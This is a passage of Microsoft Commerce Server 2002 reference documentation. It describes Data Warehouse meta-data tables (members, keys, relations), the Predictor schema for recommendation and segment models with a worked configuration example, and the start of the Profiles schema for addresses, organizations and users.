GenerateColumnDef | tinyint | NULL | Leave blank | True (1) indicates the table column definition in the underlying data store should be generated automatically.
IdxFileGroupPolicy | smallint | NULL | Leave blank | Reserved.
IsActive | tinyint | NULL | Optional | Indicates if the data member is active (instances may be added). Default value is 1.
IsCached | tinyint | NULL | Optional | Indicates if the data member is cached for fast access. Used only by the Profiling System.
IsDateDeleteMember | tinyint | NULL | Optional | Used to determine which date member (for a class with multiple date members) will be used when deleting fact data by date.
IsDfltNull | tinyint | NULL | Optional | Indicates if the default value for the data member is NULL. If a default value is specified, this should be False (0). Default value is True (1).
IsDimension | tinyint | NULL | Optional | Indicates if the data member represents a dimension.
IsEncrypted | tinyint | NULL | Optional | Indicates if the data member is encrypted. Used only by the Profiling System.
IsExported | tinyint | NULL | Optional | Indicates if children of the class inherit the data member. Used only by the Profiling System.
IsHashingKey | tinyint | NULL | Optional | Indicates if the data member is a hashing key. Used only by the Profiling System.
IsHidden | tinyint | NULL | Optional | Indicates if the data member is hidden.
IsIdentityMember | tinyint | NULL | Leave blank | Indicates if the data member is an identity data member.
IsJoinKey | tinyint | NULL | Leave blank | Indicates if the data member is used as a join key across classes for the Profiles resource.
IsMeasure | tinyint | NULL | Optional | Indicates if the data member represents a measure.
IsMultiValued | tinyint | NULL | Optional | Indicates if the data member is multi-valued.
IsPersistent | tinyint | NULL | Optional | Indicates if the data member is persisted in the underlying data store. Default value is 1.
IsPrimaryKey | tinyint | NULL | Optional | Indicates if the data member is the primary key for the class. This is used in conjunction with the GenerateKeyDef attribute for the ClassDef.
IsPrivate | tinyint | NULL | Optional | Indicates if the data member is private.
IsRDNAttribute | tinyint | NULL | Optional | When referring to an Active Directory data-source, True (1) indicates this is the RDN attribute for the class.
IsRequired | tinyint | NULL | Optional | Indicates if the data member requires a value. Set to True (1) for key members.
IsSearchable | tinyint | NULL | Optional | Indicates if the data member is searchable. Used by the Profiling System.
IsTextSearchable | tinyint | NULL | Optional | Indicates if the data member is searchable by a text search engine. Used by the Profiles resource.
IsUniqueKey | tinyint | NULL | Leave blank | Indicates if the data member is part of a unique key for the class. Used by the Profiles resource.
LinkTableName | nvarchar (57) | NULL | Leave blank | Stores the name of the link table for a multi-valued data member.
MajorVersion | int | NULL | Reserved | Stores the major version number for the data member definition.
MemberDefName | nvarchar (100) | NULL | Required | Stores the name of the data member.
MinorVersion | int | NULL | Reserved | Stores the minor version number for the data member.
ModifiedTime | datetime | NULL | Reserved | Records when the data member definition was last modified.
OrdinalPosInClass | int | NULL | Leave blank | Indicates the ordinal position of the data member in the class. Used only by the Profiling System.
ParentGroupName | nvarchar (128) | NULL | Leave blank | Stores the name of the parent group. Used only by the Profiling System.
RelationName | nvarchar (128) | NULL | Leave blank | Stores the name of the relation for a member relation object.
Status | int | NULL | Reserved | Reserved.
TypeID | int | NULL | Leave blank | Stores the identifier code for the data type of the data member.
TypeName | nvarchar (128) | NULL | Required | Stores the name of the data type for the data member. See the table immediately following this table.
UseHashInSearch | tinyint | NULL | Leave blank | Indicates whether to use a hash index when searching for this data member. Used only by the Profiling System.
ValColumnName | nvarchar (100) | NULL | Optional | Stores the name of the value column for the data member. Used when creating multi-valued members.
ValTableName | nvarchar (57) | NULL | Optional | Stores the name of the value table. Used when creating multi-valued members.

The following table contains the valid data types used for the TypeName attribute of the Member meta-data for single-valued members. Binary data is not supported. Support for multi-valued members is limited to the set of types that can be written by Visual Basic script. There is no multi-value support for UINT64, IDENTITY6, IDENTITY, ULONG, WORD. BOOL is supported in Visual Basic script, but the OLE DB Provider for Commerce Server does not maintain the order of values, so a multi-valued BOOL member does not evaluate as expected.

TypeName | Description
BOOL | Boolean (0 or 1)
CURRENCY | 64-bit currency
DATE | Standard date
DATETIME | SQL date/time
FILETIME | Standard file date/time stamp
IDENTITY | 48-bit numerical identifier Does not support multi-valued members
IDENTITY6 | 48-bit numerical identifier Does not support multi-valued members
INT64 | 64-bit integer Does not support multi-valued members
LONG | 32-bit integer
LONGREAL | 64-bit floating point number
None | Empty type
NULL | No value
REAL | 32-bit floating point number
SHORT | 16-bit integer
TIME | Standard time
UINT64 | 64-bit unsigned integer Does not support multi-valued members
ULONG | 32-bit unsigned integer Does not support multi-valued members
UUID | Packed decimal number used for GUIDs
WORD | 16-bit unsigned integer Does not support multi-valued members
WSTR | Unicode string of length 255
WSTR8, WSTR12. WSTR16, WSTR24, WSTR32, WSTR48, WSTR64, WSTR80, WSTR96, WSTR112, WSTR128, WSTR144, WSTR160, WSTR255, WSTR400, WSTR512 | Unicode string of designated length


Key Definition Meta-data

The Key meta-data contains attributes for defining a key for a class. A key defines the unique identification for a class. Use the Key meta-data to manually specify a single key or to create a multi-part key.

For classes with a single Key Member, you can use GenerateKeyDef on the ClassDef and IsPrimaryKey on the KeyMember. A Key with multiple members must always be defined using the Key and Key Member meta-data.

For information about creating a new class key, see Creating a New Class Key.

The following table shows the attributes used for the class key definitions. A set of these attributes is stored in the Key table for each class key defined.

The following terminology describes the attribute requirements listed in the following table.

  • A value in quotes is required and must be supplied by the user.
  • An unquoted value indicates the default, which can be overridden by the user.
  • "Leave blank" indicates that the attribute should not be assigned.
  • "Optional" indicates that the value is user-assigned but can be left blank.
  • "Required" indicates that the value is user-assigned and required.
Attribute | Data Type | Constraint | Requirement | Description
ClassKeyDefID | int | NOT NULL | Leave blank | Stores the internal identifier for the key.
CatalogID | int | NULL | Leave blank | Stores the identifier for the schema catalog.
CatalogName | nvarchar (128) | NULL | Leave blank | Stores the name of the schema catalog, "DWSchema."
ClassDefName | nvarchar (57) | NULL | Required | Stores the name of the class associated with the key.
ClassID | int | NULL | Leave blank | Stores the identifier of the class associated with the key.
ClassKeyDefName | nvarchar (128) | NULL | Required | Stores the name of the class key. Must be unique across a catalog.
CreatedTime | datetime | NULL | Reserved | Records when the key was created.
Description | nvarchar (128) | NULL | Optional | Stores the description of the object.
DisplayName | nvarchar (128) | NULL | Optional | Stores the display name of the object.
IsPrimaryKey | tinyint | NULL | Optional | Indicates if this is the primary key. The default is False (0).
MajorVersion | int | NULL | Reserved | Stores the major version number for the key.
MinorVersion | int | NULL | Reserved | Stores the minor version number for the key.
ModifiedTime | datetime | NULL | Reserved | Records when the key was last modified.
Status | int | NULL | Reserved | Reserved.


Key Member Definition Meta-data

The Key Member meta-data contains attributes for defining a member of a key. The meta-data includes an indication of the ordinal position of the data member for a multi-member key. The Key and Member definitions must already be completed. A Key Member definition is not required if the IsPrimaryKey attribute is set to True (1) on a member definition of the class.

Three attributes are required to set a data member as part of a key:

  • The MemberName attribute of the KeyMember meta-data must be set to the MemberDefName value specified in the Member meta-data.
  • The KeyDefName attribute for the KeyMember meta-data must be set to the ClassKeyDefName value specified in the Key meta-data.
  • Finally, the OrdinalPosInKey attribute must be set to the position in the key for the data member.

For example, if there are three data members comprising a key, the OrdinalPosInKey attributes will be set to 0, 1, and 2 for the first, second, and third data members, respectively. The sequence of data members is important for the composition of a unique key.

The following terminology describes the attribute requirements listed in the following table.

  • A value in quotes is required and must be supplied by the user.
  • An unquoted value indicates the default, which can be overridden by the user.
  • "Leave blank" indicates that the attribute should not be assigned.
  • "Optional" indicates that the value is user-assigned but can be left blank.
  • "Required" indicates that the value is user-assigned and required.
Attribute | Data Type | Constraint | Requirement | Description
KeyMemberID | int | NOT NULL | Leave blank | Stores the internal identifier for the key member.
CatalogID | int | NULL | Leave blank | Stores the identifier for the schema catalog.
CatalogName | nvarchar (128) | NULL | Leave blank | Stores the name of the schema catalog, "DWSchema."
CreatedTime | datetime | NULL | Reserved | Records when the key member was created.
Description | nvarchar (128) | NULL | Optional | Stores the description of the object.
DisplayName | nvarchar (128) | NULL | Optional | Stores the display name of the object.
KeyDefID | int | NULL | Leave blank | Stores the identifier for the key containing this key member.
KeyDefName | nvarchar (128) | NULL | Required | Stores the name of the class key.
MajorVersion | int | NULL | Reserved | Stores the major version number for the key member.
MemberID | int | NULL | Leave blank | Stores the identifier for the data member used for this key member.
MemberName | nvarchar (100) | NULL | Required | Stores the name of the data member used for this key member.
MinorVersion | int | NULL | Reserved | Stores the minor version number for the key member.
ModifiedTime | datetime | NULL | Reserved | Records when the key member was last modified.
OrdinalPosInKey | int | NULL | Required | Stores a 0-based index for the position of the key member in the key.
Status | int | NULL | Reserved | Reserved.


Relation Definition Meta-data

The Relation meta-data contains attributes for creating a relation between two classes. In order to define the relation, the Class definition must already be created for both the parent and child classes. In the Commerce Server 2002 Data Warehouse, most relations are of the one-to-many type.

To link two classes, the ParentClassName attribute for the Relation must be set to the ClassDefName of the parent Class object. Likewise, the ChildClassName attribute for the Relation must be set to the ClassDefName of the child Class object.

To link non-Key class members of the parent class, create a Relation Member that defines the members to link for the relation.

For information about creating a new relation between two existing classes, see Creating a New Class Relation.

The Relation definition meta-data contains an attribute used to define the type of the relation (RelType). The following table contains the valid relation types and the corresponding type codes.

Relation Type | Code | Description
One-to-Many | 2 | Each parent has zero or more children, each child has one parent. The identifier ("Classname" ID) of the parent is used as a foreign key by the child.
Many-to-Many | 3 | Each parent has zero or more children, each child has one or more parents.
One-to-Many with Inheritance | 194 | Same as one-to-many except all members of the parent are visible to the children. (In a regular one-to-many relation, only the key members of the parent class are visible by default.)

The following table shows the attributes used for the class relation definitions. A set of these attributes is stored in the Relation table for each class relation defined.

The following terminology describes the attribute requirements listed in the table.

  • A value in quotes is required and must be supplied by the user.
  • An unquoted value indicates the default, which can be overridden by the user.
  • "Leave blank" indicates that the attribute should not be assigned.
  • "Optional" indicates that the value is user-assigned but can be left blank.
  • "Required" indicates that the value is user-assigned and required.
Attribute | Data Type | Constraint | Requirement | Description
RelationID | int | NOT NULL | Leave blank | Stores the unique identifier for the relation.
CatalogID | int | NULL | Leave blank | Stores the identifier for the schema catalog.
CatalogName | nvarchar (128) | NULL | Leave blank | Stores the name of the schema catalog, "DWSchema."
ChildClassID | int | NULL | Leave blank | Stores the class identifier of the child class for the relation.
ChildClassName | nvarchar (57) | NULL | Required | Stores the name of the child class for the relation.
CreatedTime | datetime | NULL | Reserved | Records when the relation was created.
Description | nvarchar (128) | NULL | Optional | Stores the description of the object.
DisplayName | nvarchar (128) | NULL | Optional | Stores the display name of the object.
MajorVersion | int | NULL | Reserved | Stores the major version number for the relation.
MinorVersion | int | NULL | Reserved | Stores the minor version number for the relation.
ModifiedTime | datetime | NULL | Reserved | Records when the relation was last modified.
ParentClassID | int | NULL | Leave blank | Stores the class identifier of the parent class for the relation.
ParentClassKey | nvarchar (128) | NULL | Required | Stores the name of the key for the parent class.
ParentClassName | nvarchar (57) | NULL | Required | Stores the name of the parent class for the relation.
RelationName | nvarchar (128) | NULL | Required | Stores the name of the relation.
RefMemName | nvarchar (100) | NULL | Leave blank | Reserved.
RelType | smallint | NULL | Required | Stores the type of the relation.
Status | int | NULL | Reserved | Reserved.


Relation Member Definition Meta-data

The Relation Member meta-data contains attributes for denormalizing specific members from a parent class into a child class. In order to link specific members within a relation, the Relation definition must already be created. In addition, because the Relation Member specifies the members of the classes that comprise the relation, these class members must also already be defined. The RelationName attribute creates the actual link to the encompassing relation; thus, the relation name in the RelationName attribute must match the RelationName attribute for the wanted relation.

For information about creating a new relation-member for a class, see Creating a New Class Relation Member.

The following table shows the attributes used for the relation member definitions. A set of these attributes is stored in the RelMember table for each relation member defined.

The following terminology describes the attribute requirements listed in the following table.

  • A value in quotes is required and must be supplied by the user.
  • An unquoted value indicates the default, which can be overridden by the user.
  • "Leave blank" indicates that the attribute should not be assigned.
  • "Optional" indicates that the value is user-assigned but can be left blank.
  • "Required" indicates that the value is user-assigned and required.
Attribute | Data Type | Constraint | Requirement | Description
RelMemberID | int | NOT NULL | Leave blank | Stores the unique identifier for the relation member.
CatalogID | int | NULL | Leave blank | Stores the identifier for the schema catalog.
CatalogName | nvarchar (128) | NULL | Leave blank | Stores the name of the schema catalog, "DWSchema."
ChildMemID | int | NULL | Leave blank | Stores the identifier for the data member of the child class to relate.
ChildMemName | nvarchar (100) | NULL | Required | Stores the name of the data member of the child class to relate.
CreatedTime | datetime | NULL | Reserved | Records when the relation member was created.
Description | nvarchar (128) | NULL | Optional | Stores the description of the object.
DisplayName | nvarchar (128) | NULL | Optional | Stores the display name of the object.
MajorVersion | int | NULL | Reserved | Stores the major version number for the relation member.
MinorVersion | int | NULL | Reserved | Stores the minor version number for the relation member.
ModifiedTime | datetime | NULL | Reserved | Records when the relation member was last modified.
ParentMemID | int | NULL | Leave blank | Stores the identifier of the data member of the parent class to relate.
ParentMemName | nvarchar (100) | NULL | Required | Stores the name of the data member of the parent class to relate.
RelationID | int | NULL | Leave blank | Stores the identifier of the relation containing the relation member.
RelationName | nvarchar (128) | NULL | Required | Stores the name of the class relation.
Status | int | NULL | Reserved | Reserved.


Physical Schema

This topic describes the physical data store underlying the Data Warehouse.

By default, a logical class is mapped to a physical table of the same name. To override this behavior, in the Class table, set the GenerateTableDef attribute to False (0) and specify the table name in the DefaultTableName attribute.

By default, a non-inherited, non-multi-valued class member is mapped to a physical column of the same name. To override this behavior, in the Member table, set the GenerateColumnDef attribute to False (0) and specify the column name in the ColumnName attribute.

Inherited class members are mapped to the associated column of the parent table.

For multi-valued class members (IsMultiValued = True (1) in the Member table), the associated link and value tables are automatically generated with no provision for overriding the behavior. The names of these tables are stored in the LinkTableName and ValTableName attributes in the Member table.

Table names are limited to 57 characters. Column names are limited to 100 characters.

Commerce Server 2002 does not support partitions; therefore, there is one partition per data source.


Predictor Schema

This section describes the Predictor schema used for models and model configurations.

Two types of analysis models are available in Microsoft Commerce Server 2002: Prediction models and Segment models. A Prediction model is used to recommend products and fill in missing profile data. A Segment model separates users into segments which are groups of users with similar behavior and attributes. A Segment model is used to categorize a user into one or more of these segments.

These analysis models use a specified set of cases as a basis for their predictions. A case is all that is known about a previous user, and consists of property-value pairs. A property is some distinction about the world (for example, age, income, whether a particular product was purchased or not, and so on). A case typically contains transactional data and may sometimes contain demographic information.

A model configuration contains information used by the Predictor resource to build the models. This information includes pointers to the tables and views that contain the case information as well as the model build attributes. The model configuration is stored as a collection of tables in a database. There is no application programming interface (API) available to create a new model configuration. The tables must be modified directly or through the Model Configuration Wizard.

This topic includes descriptions of the required tables and entries, an example of creating a model configuration, and results from building both types of models.

This section contains:

  • PredictorModelCfgs Table. Describes the available model configurations.
  • PredictorDataTables Table. Serves as an index to the source data tables and an attributes table.
  • Attributes Table. Describes attributes about the properties used to build the models.
  • PredictorModels Table. Stores the actual models and the parameters that were used to build them.
  • Predictor Schema Example. Shows an example of creating a model configuration along with the results from building both Prediction and Segment models.

See Also

Business Analysis Objects

PredictorClient Object

PredictorServiceAdmin Object

PredictorServiceSiteAdmin Object

PredModelBuilder Object

Running the Predictor Resource


PredictorModelCfgs Table

This table lists the model configurations. The model configurations are displayed in Commerce Server Manager when the Model Configurations node, under the Predictor resource, is selected.

Column Name | Type | Description | Required?
ModelCfgName | DBTYPE_WSTR | Model configuration name. | Yes
SiteName | DBTYPE_WSTR | Name of the site where the model to be rebuilt is stored. | Yes, if you want to refresh the model; highly recommended if you do not want to refresh the model.


PredictorDataTables Table

This table serves as an index to the source data tables and the attributes tables. For each model configuration, there must be at least one Dense (Type 0) or Sparse (Type 1) source data table. If there is no Attributes (Type 2) table, then one will be created the first time you build the model. Only one Dense table is allowed, but there can be multiple Sparse tables. If there is one dense table, then every item in this table defines a case. If a configuration contains only sparse tables, the table first mentioned is used to define the items in the case. If you use multiple entries (tables) for a model configuration, the case column values in all of the source tables must match (even though the column name of the case column may vary). Columns in sparse tables that are not one of the defined columns in the entry for that table are not included in the analysis. A single Attributes (Type 2) table is optional. A blank attributes table is created if one is not specified.

Each data table should reference one or more properties. A property is some distinction about the world (for example, age, income, whether a particular product was purchased or not, and so on). These properties correspond to the columns in a Dense table and to entries in the PivotColumn in Sparse tables. Any given property should be referenced in only one table.

Column Name | Type | Description | Required?
ModelCfgName | DBTYPE_WSTR | Model configuration name (foreign key to the PredictorModelCfgs table). | Yes
TableName | DBTYPE_WSTR | Table name. | Yes
Type DBTYPE_UI2 Type of table:
  • 0 = Dense (1 row per user, such as for demographic information)
  • 1 = Sparse (1 row per transaction, such as for product purchases)
  • 2 = Attributes
 Yes
AggregateColumn DBTYPE_WSTR Column on which the PivotColumn is aggregated.

For example, QTY if the QTY column represents the quantity of each SKU purchased.

 Yes, if Type = Sparse.

Otherwise should be NULL.
AggregateOperation DBTYPE_UI2 Valid values are:
  • 0 = SUM
  • 1 = MAX
  • 2 = MIN
  • 3 = AVG
  • 4 = COUNT
 Yes, if Type = Sparse.

Otherwise should be NULL.
CaseColumn DBTYPE_WSTR Column in TableName where the case ID (usually UserID) is stored. Yes, if Type = Dense or Sparse.

Otherwise should be "N/A".
PivotColumn DBTYPE_WSTR Column in TableName that specifies the transactional property to pivot.

For example, SKU if the SKU column contains the products a user purchased.

 Yes, if Type = Sparse.

Otherwise should be NULL.


Attributes Table

This table indicates the attributes of each high-level property used in the model, including the distribution type for the property, and whether the property is used to build the model or is to be predicted by the model. For example, SKU and Age are high-level properties while QTY(sku1) is a low-level property. Entries in the attributes table are not required unless the default behavior needs to be overridden. The default behavior is for each property to be used for the prediction as well as to be predicted. The default distribution is Autodetect. A blank attributes table is created if one is not specified.

Note

  • There is no table named Attributes. Each model configuration specifies the name of its attribute table as an entry in the PredictorDataTables table.
Column Name | Type | Description | Required?
PropID | DBTYPE_UI4 | Unique key, system generated. Leave blank. | Yes
ParentID | DBTYPE_UI4 | Must be -1. | Yes
Name | DBTYPE_WSTR | Name of property if referring to a Dense table, or name of Pivot Column if referring to a Sparse table. The capitalization of this string determines the capitalization of the property in the model. | Yes
TableName | DBTYPE_WSTR | Must be Null. | No
ColumnName | DBTYPE_WSTR | Must be Null. | No
Distribution DBTYPE_UI2 Distribution type

B - Model As Binary

NB - Not Model As Binary

Valid values are:

  • Null - Autodetect
  • 0 - Discrete, NB
  • 1 – Continuous, Normal, NB
  • 2 – Continuous, LogNormal, NB
  • 3 - Invalid
  • 4 - Discrete, B
  • 5 - Continuous, Normal, B
  • 6 - Continuous, Lognormal, B
  • 7.- Invalid
  • 8 - Advertisement
  • A description of the different distribution types follows this table.
 No

NULL implies Autodetect.
Predict DBTYPE_BOOL Indicates whether this is an output property.

Valid values are:

  • 1 (One) (Default) – Build a model that can predict this property.
  • 0 (Zero) – Do not predict this property.
 No

NULL implies True.
UseToPredict DBTYPE_BOOL Indicates whether this is an input property.

Valid values are:

  • 1 (One) (Default) – Use as input property to predict other properties.
  • 0 (Zero) – Do not use this property to predict other properties.
 No

NULL implies True.

Distribution Attribute

  • Discrete vs. Continuous. A discrete property has values with no specific relationship between sequential values. For example, the two-letter state abbreviations are discrete. All non-numeric properties are treated as discrete. Numerical properties may or may not be discrete.
  • Normal vs. LogNormal. Certain continuous data, such as Income, is better represented as a Normal (Gaussian) distribution while other data, such as the number of products purchased, better fit a LogNormal distribution which is skewed towards 0. A property with a LogNormal distribution means the logarithm of the property has a Normal distribution.
  • Autodetect. An algorithm to auto-detect the above attributes can be used. For discrete properties, the algorithm also eliminates those properties that have only one distinct value or too many distinct values to be useful (over 500). Note that "missing" counts as a distinct value.
  • Model As Binary. When the Model As Binary attribute of a property is set to True, the model is only concerned with whether the property exists, not the value of the property. For example, consider the case of a property that corresponds to the number of products purchased. It may be more useful to model whether the product was purchased or not, rather than modeling the quantity purchased.
  • Advertisement. This distribution type applies to properties corresponding to online advertisements. It is most often used in prediction models for the ad pipeline. Properties with this distribution must have three possible states corresponding to: missing (not seen), seen but not clicked (usually indicated by the value of 1), and seen and clicked (usually indicated by the value 2). When a property has this distribution, no prediction is generated for the missing state. This distribution type can be used only with prediction models (not segment models).


PredictorModels Table

The actual models and the parameters used to build them are stored in this table by the Predictor resource when the models are built. The models are displayed in Commerce Server Manager when the Models node, under the Predictor resource, is selected. In/Out specifies whether the parameter is an input or output parameter. The Model Type specifies which model type uses that parameter. The last column, Data, is a Blob containing the binary representation for the actual model data.

Column Name Data Type In/
Out 		Model
Type 		Description Required?
ModelName | DBTYPE_WSTR | In | Both | Model name. | Yes
ModelCfgName | DBTYPE_WSTR | In | Both | Model configuration name (foreign key to the PredictorModelCfgs table). | Yes
ModelType DBTYPE_UI2 In Both Algorithm used to build the model. Default is Prediction.

Valid values are:

  • 0 = Prediction (Dependency Net)
  • 1 = Segment (Clustering)
 No
BuildTime | DBTYPE_UI4 | Out | Both | Time spent building model (milliseconds). | No
ComplexityPenality DBTYPE_UI4 In Prediction Larger values prevent trees from growing too large (Prediction models only).

Valid range is 1 to MaxInt.

Default = 100

 No
DataFitScore DBTYPE_R8 Out Prediction Measures the accuracy of the model when predicting missing data. The higher the score, the better the model.

Valid range is minus infinity to plus infinity.

 No
DateCreated DBTYPE_DB
TIMESTAMP 		Out Both Date model was built.

Default is getdate()

 Yes
InputAttributeFraction DBTYPE_R8 In Both Fraction of properties used for feature selection as input to predictions.

Valid range is 0 to 1.

  • 1 - use all properties.
  • < 1 - use feature selection to identify the most significant properties. Results in a smaller model.
 No
K DBTYPE_UI4 In Segment Number of segments to build.

The default is 10.

Valid range is 1 to 32756.

 No
MaxBufferSize DBTYPE_UI4 In Segment Maximum buffer size in Mbytes.

Default is 1 MB.

 No
MeasuredAccuracy
MaxPredictions 		DBTYPE_UI4 In Both Maximum number of recommendations to be shown to user (used for determining Recommendation Score).

Valid range is 1 to MaxInt.

Default is 10.

 No
MeasuredAccuracy
SampleFraction 		DBTYPE_R8 In Both Fraction of sample data to hold out for automatic accuracy measurement.

Valid range is 0 to 1.

Default is 40% (0.4) of all cases or 1000, whichever is less.

 No
MinimumCasesToSplit DBTYPE_UI4 In Prediction Minimum number of cases at a node in a decision tree in order for a split to be possible at that node.

Default = 5

 No
OutputAttributeFraction DBTYPE_R8 In Both Fraction of properties used for feature selection as output of predictions.

Valid range is 0 to 1.

  • 1 - build a model that can predict all properties.
  • < 1 - use feature selection to identify properties that are significant. Results in a smaller model.
 No
RecommendScore DBTYPE_R8 Out Prediction Measures the quality of a ranked list of recommendations. The higher the score, the better the model.

Valid range is 0 to 1.

 No
SampleSize DBTYPE_UI4 In Both Number of cases to randomly sample from the input data.

Default is -1 (use all data) or 20,000, whichever is less.

 No
Data | DBTYPE_BYTES | Blob containing the model data. | No


Predictor Schema Example

This example shows all the related tables and entries for a model configuration named PurchaseCfg1.

PredictorModelCfgs

ModelCfgName | SiteName
PurchaseCfg1 | Retail

This example assumes that the PurchaseCfg1 model configuration consists of three sources of data:

Demographic information from the User table (additional rows not shown).

UserID | Age | Gender | Education
jilluser@roguecellars.com | 23 | F | 19
barneyuser@arborshoes.com | 49 | M | 3
jackuser@frogkick.com | 28 | M | 13

Product Purchase information from the Purchases table (additional rows not shown).

UserID | SKU | QTY
jilluser@roguecellars.com | wine_fine_au_zin_19 | 3
jilluser@roguecellars.com | tv_big_36_m3 | 1
jilluser@roguecellars.com | pumps_bl_6 | 1

Ad Click information from the AdClicks table (additional rows not shown). If Click is set to 1, the ad was seen but not clicked. If Click is set to 2, the ad was seen and clicked.

UserID | Ad | Click
jilluser@roguecellars.com | www.thewinecellar.com/ad_zin12 | 1
jilluser@roguecellars.com | www.thewinecellar.com/ad_cab3 | 2
jilluser@roguecellars.com | www.arborshoes.com/ad4c | 1

PredictorDataTables

ModelCfgName | TableName | Type | Case Column | Pivot Column | Aggregate Column | Aggregate Type
PurchaseCfg1 | User | 0 | UserID | <NULL> | <NULL> | <NULL>
PurchaseCfg1 | Purchases | 1 | UserID | SKU | QTY | 0
PurchaseCfg1 | AdClicks | 1 | UserID | Ad | Click | 1
PurchaseCfg1 | PurchaseCfg1_Attributes | 2 | "N/A" | <NULL> | <NULL> | <NULL>

When data from the three tables (User, Purchases, and AdClicks) are combined for analysis, a left join is done with User as the master table, on the UserID column. That is, each user from the User table defines a case. If there are users represented in either the Purchases or AdClicks table that are not represented in the User table, they will not be included in the analysis. In general, if there is a dense table (there can be, at most, one), then it is the master table in the left join. If all tables are sparse, then the first table listed is the master table for the left join. Case column names do not have to be identical, but their values must be correlated.

The first row in the following attributes table specifies all of the SKUs to have a Discrete and Modeled As Binary distribution and specifies that SKUs should be used to predict other properties and not to be predicted. The second row specifies to use the Age property to predict other properties, and not to be predicted. This means that no Decision Tree that predicts the Age or SKU properties will be built. The row also specifies the Distribution to be Continuous, Lognormal and not Modeled As Binary. The third row specifies all of the ads are to have a distribution of type Advertisement and that ads are to be predicted but not used for prediction.

The following table is an example of a model configuration that will predict ads based on SKU and Age.

PredictorAttributes_PurchaseCfg1

Prop ID | Parent ID | Name | Table Name | Column Name | Distri- bution | UseTo Predict | Predict
1 | -1 | SKU | <NULL> | <NULL> | 4 | True | False
2 | -1 | Age | <NULL> | <NULL> | 2 | True | False
3 | -1 | AD | <NULL> | <NULL> | 8 | False | True

The following table shows a model built from the PurchaseCfg1 model configuration.

PredictorModels

Model Name | ModelCfg Name | Model Type | Date Created | Build Time | Measured Accuracy Sample Fraction | Measured Accuracy Max Predictions | K
Purchase1 | PurchaseCfg1 | 0 | getdate() | 30000 | .05 | 10 | <NULL>

(PredictorModels continued)

Max Buffer Size | Input Attribute Fraction | Output Attribute Fraction | Sample Size | Complexity Penality | Minimum CasesTo Split | Data Fit Score | Recommend Score | Data
<NULL> | 1 | 1 | -1 | 100 | 5 | 11.08 | 0.3946 | <Binary>


Profiles Schema

The profiles schema defines the structure of profiles. Profiles represent business objects (site users, customers, trading partners, and so on) and correspond to classes in the Commerce Server Data Warehouse.

This topic describes the profiles schema included with Microsoft Commerce Server 2002. The ability to extend or delete these schemas is available through the Profile Designer in Commerce Server Business Desk. The Profiles resource in Commerce Server Manager provides the functionality to create new schemas.

This section contains:

  • Conventions. Explains the table entries used to describe the profiles.
  • Address Profile Schema. Defines a structure for address entities.
  • Organization Profile Schema. Defines a structure for organization entities.
  • UserObject Profile Schema. Defines a structure for registered and anonymous user entities.

See Also

Profiling System Objects

Profile XML Structures

ProfileObject Object

ProfileService Object


Conventions

This section explains the table entries used to describe the logical profiles schema.

Data Type

This column indicates the data type of the property. For pre-defined profiles, a logical property is mapped to a physical property of the same name, prefixed with the first letter of the data type and an underscore (for example, the logical address_id, a GUID data type, is mapped to the physical g_address_id).

Exported (Exp)

True (1) indicates the property is exported into the Data Warehouse by the Commerce Server 2002 User Import DTS Task. The DTS task extends the Data Warehouse schema to accommodate any new properties. This property is set in the IsExported attribute of the Property element of the XML representation. If IsExported is set to True (1) for at least one property of the profile definition, then the date_last_changed property must be defined on the profile definition.

Group

A group is a collection of related profile properties, for example, a group named GeneralInfo could be a group containing Name, Address, and Phone properties. Group names must be unique to the profile. Property names, even across different groups, must also be unique. Profile properties are accessed either by their names or in combination with their group name in the format Group.Property (for example, GeneralInfo.address_line1).

Required (Req)

This column indicates whether the property is required.


Address Profile Schema

An instance of this profile schema stores both user and organization addresses. The profile is mapped to the physical Addresses table. The Commerce Server 2002 User Import DTS Task extends and exports data into the Data Warehouse for properties with the Exported (Exp) attribute marked as True (1). The Data Warehouse class into which the Address profiles are exported is set through the DWClassName attribute of the Address profile, and defaults to Address. For information about the table entries, see Conventions.

Property Name | Data Type | Req | Exp | Group | Display Name/ Description
address_id (primary and join key) | GUID | T | T | General Info | Address ID Supplied by the system. Note that Commerce Server uses “{“ and “}” to surround GUID data types.
address_line1 | Unicode String | T | F | General Info | Address line 1
address_line2 | Unicode String | F | F | General Info | Address line 2
address_name | Unicode String | F | T | General Info | Address name
address_type | Integer | F | T | General Info | Address type 0 – Address 1 – ShipTo address 2 – BillTo address
city | Unicode String | F | T | General Info | City
country_code | Unicode String | T | T | General Info | Country/region (ISO) code
country_name | Unicode String | F | T | General Info | Country/region name
date_created | Date Time | F | T | Profile System | Date created The default is getdate()
date_last_changed | Date Time | F | T | Profile System | Date last changed The default is getdate()
description | Unicode String | F | F | General Info | Description
first_name | Unicode String | F | T | General Info | (User) first name
id | GUID | F | F | General Info | ID of the organization/user to which this entry refers
last_name | Unicode String | F | T | General Info | (User) last name
locale | Integer | F | F | General Info | Locale ID Locale (character set) in which to render the address form
postal_code | Unicode String | T | T | General Info | Postal (ZIP) code
region_code | Unicode String | T | T | General Info | Country/region or state/province code
region_name | Unicode String | F | T | General Info | Country/region or state/province name
tel_extension | Unicode String | F | T | General Info | Telephone (number) extension
tel_number | Unicode String | F | T | General Info | Telephone number at this address
user_id_changed_by | Unicode String | F | F | General Info | Changed by Person making the last change


Organization Profile Schema

An instance of this profile schema stores data about organizations (trading partners, home companies, subsidiaries, and so on). This profile is not imported into the Data Warehouse by default. For information about the table entries, see Conventions.

Property Name | Data Type | Req | Exp | Group | Display Name/ Description
org_id (join key) | GUID | T | F | General Info | Organization ID Supplied by the system
name (primary key) | Unicode String | T | F | General Info | Name
date_created | Date Time | F | F | Profile System | Date created The default is getdate()
date_last_changed | Date Time | F | F | Profile System | Date last changed The default is getdate()
org_catalog_set | Unicode String | F | F | General Info | Organization catalog set Specific to the organization
trading_partner_number | Unicode String | F | F | General Info | Trading partner number Assigned by the supplier to the customer organization to represent an account number
user_id_admin_contact | GUID | F | F | General Info | Administrative contact
user_id_changed_by | GUID | F | F | General Info | Changed by Person making the last change
user_id_purchasing_manager | GUID | F | F | Purchasing | Purchasing manager of the buying organization
user_id_receiver | GUID | F | F | General Info | Receiver The default person to receive products shipped from the supplier


UserObject Profile Schema

An instance of this profile schema stores information about both registered and anonymous users. The Commerce Server 2002 User Import DTS task extends and exports data into the Data Warehouse for properties with the Exported (Exp) attribute marked as True (1). The Data Warehouse class into which the UserObject profiles are exported is set through the DWClassName attribute of the UserObject profile, and defaults to RegisteredUser. For information about the table entries, see Conventions.

Property Name | Data Type | Req | Exp | Group | Display Name/ Description
